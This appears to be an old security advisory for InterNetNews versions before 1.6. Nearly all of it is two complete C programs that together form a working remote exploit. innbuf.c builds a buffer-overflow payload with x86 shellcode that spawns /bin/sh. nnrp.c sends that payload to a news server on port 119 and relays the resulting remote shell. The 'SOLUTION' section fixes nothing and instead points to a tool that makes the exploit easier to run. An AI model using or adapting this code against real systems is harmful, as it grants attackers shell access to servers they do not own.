COMMAND
InterNetNews
SYSTEMS AFFECTED
Linux/x86
PROBLEM
Dan Fleisher posted handy nnrpd exploit code for Linux/x86.
First just generates the x86 shellcode and puts it in a file
that nnrp can send. The offset and/or esp may need changing.
Second is remote exploit for INN version < 1.6. Requires
'innbuf'program to operate.
--------------------------- innbuf.c -----------------------------
/*
* This just generates the x86 shellcode and puts it in a file
* that nnrp can send. The offset and/or esp may need changing.
* To compile on most systems: cc innbuf.c -o innbuf. Usage:
* innbuf [offset] > file. (C) 1997 by Method <method@arena.cwnet.com>
* P.S. Feel free to port this to other OS's.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#define DEFAULT_OFFSET 792
#define BUFFER_SIZE 796
#define ADDRS 80
u_long get_esp()
{
return(0xefbf95e4);
}
int main(int argc, char **argv)
{
char *buff = NULL;
u_long *addr_ptr = NULL;
char *ptr = NULL;
int ofs = DEFAULT_OFFSET;
int noplen;
u_long addr;
int i;
u_char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
if(argc < 1)
ofs = atoi(argv[1]);
addr = get_esp() - ofs;
if(!(buff = malloc(4096))) {
fprintf(stderr, "can't allocate memory\n");
exit(1);
}
ptr = buff;
noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
memset(ptr, 0x90, noplen);
ptr += noplen;
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (unsigned long *)ptr;
for(i = 0; i < ADDRS / 4; i++)
*addr_ptr++ = addr;
ptr = (char *)addr_ptr;
*ptr = '\0';
printf(
"Path: dev.null!nntp\n"
"From: devNull @%s\n"
"Newsgroups: alt.test\n"
"Subject: 4 out of 5 Dweebs prefer INND for getting r00t\n"
"Message-ID: <830201540.9220@dev.null.com>\n"
"Date: 9 Jun 1997 15:15:15 GMT\n"
"Lines: 1\n"
"\n"
"this line left not left intentionally blank\n"
".\n", buff);
}
------------------------------------------------------------------
---------------------------- nnrp.c ------------------------------
/*
* Remote exploit for INN version < 1.6. Requires 'innbuf'
* program to operate. To compile: cc nnrp.c -o nnrp. Usage:
* nnrp <host> <file generated by innbuf>. (C) 1997 by Method of
* Dweebs <method@arena.cwnet.com>
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <limits.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#define POST "POST\n"
#define SAY(a, b) write(a, b, strlen(b))
#define CHOMP(a, b) read(a, b, sizeof(b))
#define basename(a) bname(a)
char *me;
make_addr(char *name, struct in_addr *addr)
{
struct hostent *hp;
if(inet_aton(name, addr) == 0) {
if(!(hp = gethostbyname(name))) {
fprintf(stderr, "%s: ", me);
herror(name);
exit(1);
}
addr->s_addr = ((struct in_addr *)hp->h_addr)->s_addr;
}
}
char *bname(char *str)
{
char *cp;
if((cp = (char *)strrchr(str, '/')) != NULL)
return(++cp);
else
return(str);
}
void my_err(char *errstr, int err)
{
fprintf(stderr, "%s: ", me);
perror(errstr);
exit(err);
}
void usage()
{
printf(
"INN version 1.[45].x exploit by Method <method@arena.cwnet.com>\n"
"Usage: %s <host> <filename>\n"
"Will start a shell on the remote host.\n"
"The second argument is the file containing the overflow data.\n",
me);
exit(1);
}
select_loop(int netfd)
{
int ret, n, in = STDIN_FILENO, out = STDOUT_FILENO;
char buf[512];
fd_set rfds;
for( ; ; ) {
FD_ZERO(&rfds);
FD_SET(in, &rfds);
FD_SET(netfd, &rfds);
if((ret = select(netfd + 1, &rfds, NULL, NULL, NULL)) < 0)
my_err("select", 1);
if(!ret)
continue;
if(FD_ISSET(in, &rfds)) {
if((n = read(in, buf, sizeof(buf))) > 0)
write(netfd, buf, n);
}
if(FD_ISSET(netfd, &rfds)) {
if((n = read(netfd, buf, sizeof(buf))) > 0)
write(out, buf, n);
else
break;
}
}
}
int news_sock(char *host)
{
struct sockaddr_in sin;
int sock;
sin.sin_port = htons(119);
sin.sin_family = AF_INET;
make_addr(host, &(sin.sin_addr));
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
my_err("socket", 1);
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
my_err("connect", 1);
return(sock);
}
void send_egg(int sk, char *file)
{
char buf[BUFSIZ];
int dfd;
int n;
if((dfd = open(file, O_RDONLY)) < 0)
my_err("open", 1);
printf("Executing innd exploit.. be patient.\n");
n = CHOMP(sk, buf);
buf[n] = '\0';
printf(buf);
SAY(sk, POST);
n = CHOMP(sk, buf);
buf[n] = '\0';
printf(buf);
sleep(2);
printf("Sending overflow data.\n");
while((n = CHOMP(dfd, buf)) > 0)
write(sk, buf, n);
sleep(2);
}
void main(int argc, char **argv)
{
char *victim, *filename;
int s;
me = basename(argv[0]);
if(argc != 3)
usage();
filename = argv[2];
send_egg(s = news_sock(victim = argv[1]), filename);
select_loop(s);
fprintf(stderr, "Connection closed.\n");
printf("Remember: Security is futile. Dweebs WILL own you.\n");
exit(0);
}
------------------------------------------------------------------
SOLUTION
Consider using the "hose" program from the Netpipes package.
http://www.purplefrog.com/~thoth/netpipes/
It can be a convenient wrapper for the network functionality of
the nnrp.c program posted, allowing you to concentrate on just
copying data around.